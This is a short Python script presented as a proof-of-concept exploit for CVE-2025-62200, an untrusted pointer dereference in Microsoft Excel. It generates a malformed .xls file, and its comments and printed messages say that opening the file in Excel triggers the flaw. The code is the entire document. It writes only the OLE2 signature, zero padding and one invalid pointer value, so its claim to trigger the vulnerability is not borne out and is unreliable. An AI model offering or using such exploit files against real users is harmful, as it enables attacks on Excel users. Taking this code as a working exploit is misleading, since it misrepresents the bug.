The following code is for security research and authorized testing only.
python
# CVE-2025-62200 PoC - Malformed Excel File Trigger
# This PoC demonstrates the untrusted pointer dereference in Excel
# Usage: Open the generated file in Microsoft Office Excel
import struct
import os
def create_poc_excel():
"""
Generate a malformed Excel file to trigger CVE-2025-62200
This PoC creates a minimal XLS file with crafted data that
causes untrusted pointer dereference in Excel parsing engine
"""
# Excel file header (OLE2 format)
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# Crafted data section that triggers the vulnerability
# The specific bytes are designed to cause pointer dereference issue
malicious_data = b'\x00' * 512
malicious_data += b'\xFF\xFF\xFF\xFF' # Invalid pointer value
malicious_data += b'\x00' * 256
# Build minimal compound file
poc_file = header + malicious_data
# Write POC file
output_path = 'CVE-2025-62200_poc.xls'
with open(output_path, 'wb') as f:
f.write(poc_file)
print(f"[+] PoC file created: {output_path}")
print("[+] Open this file in Microsoft Office Excel to trigger vulnerability")
print("[!] This is for educational and security research purposes only")
if __name__ == "__main__":
create_poc_excel()